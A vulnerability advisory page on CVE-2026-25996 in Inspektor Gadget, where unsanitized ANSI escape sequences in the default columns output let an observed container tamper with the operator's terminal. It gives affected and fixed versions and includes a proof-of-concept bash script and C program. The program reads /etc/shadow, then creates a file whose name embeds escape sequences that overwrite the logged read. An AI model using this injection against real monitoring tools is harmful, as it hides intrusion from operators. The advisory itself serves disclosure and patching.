# CVE-2026-25996: Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode

Source: https://junglewise.ai/threats/cve-2026-25996-inspektor-gadget-uses-unsanitized-ansi-escape-sequences-in  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-04-22. Updated: 2026-05-11  
License: CC BY 4.0 with a link back

CVE-2026-25996 · Severity: medium · CVSS 4 · Published 2026-04-22

### Description
String fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. 

Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects.

The `columns` output mode is the default when running `ig run` interactively.

### PoC

#### Attachments
run.sh
```bash

#!/bin/bash
set -e

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
CONTAINER_NAME="poc-escape-inject"

echo "Make sure ig is running in another terminal:"
echo "  sudo ig run trace_open -c ${CONTAINER_NAME}"
echo ""
echo "Press Enter to continue..."
read -r

sudo docker run --rm \
    --name "${CONTAINER_NAME}" \
    -v "${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro" \
    gcc:latest \
    bash -c "
        gcc -o /tmp/escape_inject /src/escape_inject.c && \
        /tmp/escape_inject
    "
```

escape_inject.c
```c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

static void read_file(const char *path)
{
	int fd = open(path, O_RDONLY);
	if (fd >= 0)
		close(fd);
}

static void create_file(const char *path)
{
	int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
	if (fd >= 0)
		close(fd);
}

int main(void)
{
	printf("[1] normal activity\n");
	create_file("/tmp/app.log");
	printf("[2] malicious read of /etc/shadow\n");
	read_file("/etc/shadow");
	usleep(300000);
	printf("[3] tampering the log\n");
	create_file("/etc\x1b[1A/bashrc\x1b[1B\x1b[13C");
	usleep(300000);
	return 0;
}
```

1. Setup a Linux host and build/install `ig` version `0.48.0`
2. Run the attached `run.sh` on a terminal
3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal
4. Press "Enter" on the terminal attached to `run.sh`
5. Observe the events traced by `ig`
6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection


### Impact

The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying `columns` output.

At the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones.

However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:

- lead to DoS (Denial of Service)
- write to the system clipboard
- create hyperlinks to attacker-controlled servers
- change window title
- potentially execute code (see referenced resources)

### Resources
- https://www.youtube.com/watch?v=spb8Gk9Z09Y

### Notes

The `json` output mode was already sanitizing the content.

Technologies: [github.com/inspektor-gadget/inspektor-gadget (Go)](https://junglewise.ai/threats/technologies/github-com-inspektor-gadget-inspektor-gadget). Vendors: [Go](https://junglewise.ai/threats/vendors/go).

## Quick answers

**Is CVE-2026-25996 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-25996 being exploited in the wild.

**How severe is CVE-2026-25996?** Medium severity, with a CVSS score of 4, published 22 April 2026.

**Which products and versions are affected?** github.com/inspektor-gadget/inspektor-gadget (Go) < 0.49.1, SEMVER:introduced=0,fixed=0.49.1.

**Is there a fix for CVE-2026-25996?** Yes. github.com/inspektor-gadget/inspektor-gadget (Go): upgrade to 0.49.1 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**Am I affected by CVE-2026-25996?** Check whether you run github.com/inspektor-gadget/inspektor-gadget (Go) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- github.com/inspektor-gadget/inspektor-gadget (Go): upgrade to 0.49.1 or later

  ```sh
  go get github.com/inspektor-gadget/inspektor-gadget@v0.49.1
  ```


## Affected products

- github.com/inspektor-gadget/inspektor-gadget (Go) < 0.49.1, SEMVER:introduced=0,fixed=0.49.1

## Identifiers

- CVE-2026-25996
- GHSA-34r5-6j7w-235f
- GO-2026-5068

## References

- [https://api.github.com/users/suidpit](https://api.github.com/users/suidpit)
- [https://github.com/suidpit](https://github.com/suidpit)
- [https://api.github.com/users/suidpit/gists%7B/gist_id%7D](https://api.github.com/users/suidpit/gists%7B/gist_id%7D)
- [https://api.github.com/users/suidpit/repos](https://api.github.com/users/suidpit/repos)
- [https://avatars.githubusercontent.com/u/25264901?v=4](https://avatars.githubusercontent.com/u/25264901?v=4)
- [https://api.github.com/users/suidpit/events%7B/privacy%7D](https://api.github.com/users/suidpit/events%7B/privacy%7D)

## Related threats

- [Inspektor Gadget ldcache parser denial of service](https://junglewise.ai/threats/cve-2026-53941-inspektor-gadget-ldcache-parser-denial-of-service)
- [Inspektor Gadget Denial of Service in USDT note parser](https://junglewise.ai/threats/cve-2026-44778-inspektor-gadget-denial-of-service-in-usdt-note-parser)
- [Inspektor Gadget: Command Injection via malicious buildOptions manipulation](https://junglewise.ai/threats/cve-2026-24905-inspektor-gadget-command-injection-via-malicious-buildoptions)
- [GO-2025-3665 - Inspektor Gadget Security Policies Can be Bypassed in github.com/inspektor-gadget/inspektor-gadget](https://junglewise.ai/threats/go-2025-3665-inspektor-gadget-security-policies-can-be-bypassed-in-4c344c2b)
- [Inspektor Gadget Security Policies Can be Bypassed](https://junglewise.ai/threats/inspektor-gadget-security-policies-can-be-bypassed-dbe23dd6)
